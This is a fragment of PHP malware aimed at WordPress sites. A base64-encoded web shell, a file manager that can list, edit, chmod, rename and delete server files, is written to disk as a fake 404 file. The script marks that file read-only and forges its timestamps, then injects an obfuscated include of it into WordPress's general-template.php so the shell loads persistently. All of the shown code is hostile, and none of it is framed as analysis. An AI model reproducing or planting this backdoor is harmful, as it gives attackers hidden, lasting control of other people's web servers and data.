JGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}